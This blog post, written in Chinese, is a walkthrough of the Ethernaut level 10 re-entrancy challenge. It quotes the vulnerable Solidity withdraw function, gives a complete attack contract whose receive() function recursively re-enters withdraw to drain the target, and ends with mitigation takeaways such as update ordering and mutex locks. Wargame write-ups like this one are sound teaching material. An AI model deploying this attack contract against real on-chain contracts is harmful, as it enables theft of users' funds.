(https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D)
這一關的目標是: 從contract 中轉走所有的balance。
看合約的程式,包含了一個donate(捐錢給合約,捐多少錢會記在balances),balanceOf(查看balances上記著多少),及一個withdraw(提錢走,但程式中有一個條件,balances中記著的錢要大於提走的錢)
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
要過這一關,主要是利用了程式執行先後順序的漏洞,因為判斷是balances[msg.sender] >= _amount,若有大於就可以進行提款,提款是呼叫其他合約的recevie or fallback程式,執行完後再進行balances[msg.sender] -= _amount,下次要進行提款時,就會再一次的判斷balances[msg.sender] >= _amount。避免剩餘的balances小於提款的數量的情況(也就是避免提出超過donate的錢)。但是如果我們在呼叫其他合約的receive程式裡再呼叫此合約的提款,則此時尚未進行-= _amount的動作,所以程式就會一直以為達成balances[msg.sender] >= _amount的條件。進而把錢提到光為止!。進行起來如下圖:
所以,我們可以在Remix寫一隻惡意合約來達成上述的目的:
contract Hack_Reentrancy{
address target_address;
uint donate_amount= 1000000000000000;
constructor(address _target) payable {
target_address = _target;
}
function init_attack() public payable {
(bool success_donate,)=target_address.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
require(success_donate,"failed to donate");
}
function init_withdraw() public{
target_address.call(abi.encodeWithSignature("withdraw(uint256)", donate_amount));
}
receive() external payable{
uint targetBalance= target_address.balance;
if( targetBalance >= donate_amount){
target_address.call(abi.encodeWithSignature("withdraw(uint256)",donate_amount));
}
}
}
所以先呼叫init_attach進行donate (使用Remix時記得輸入Value值,例如0.001 Ether),此時可以回Ethernaut的console輸入await contract.balanceOf(instance),會發現此時的值從原本的0.001Ether變成0.002Ether,然後可呼叫init_withdraw(),來進行提款,提第一次款時,原Reenterance contract匯款時會引發recevie()中的recursive匯款,直到清空contract,這邊需要特別提醒的是,可能會需要手動調整metamask錢包的gas limit,若沒有調整可能會出現out of gas而導致transaction沒有進行(但還是會收走gas-fee!),執行完後,可以用await contract.balanceOf(instance)查看是否已經清零。另外,在我們自己寫的contract中也可以寫一支function於最後將此合約的剩餘balance轉回自己的錢包 ( payable(msg.sender).transfer(address(this).balance))。
*takeaway:
- Solidity的程式執行順序可能會影響,因此要特別注意。
- 有類似這題情況的交易時,可以考慮用Mutex鎖來確保交易的原子性,亦即要執行withdraw時檢查鎖在unlock狀態下才執行,執行第一步先lock,最後執行完成後unlock。
- 這樣的攻擊手法引發的改變以太坊進程的歷史大事件,THE DAO Hack,找機會我們來講講這個故事。
1 thought on “Ethernaut – level 10 : Re-entrancy”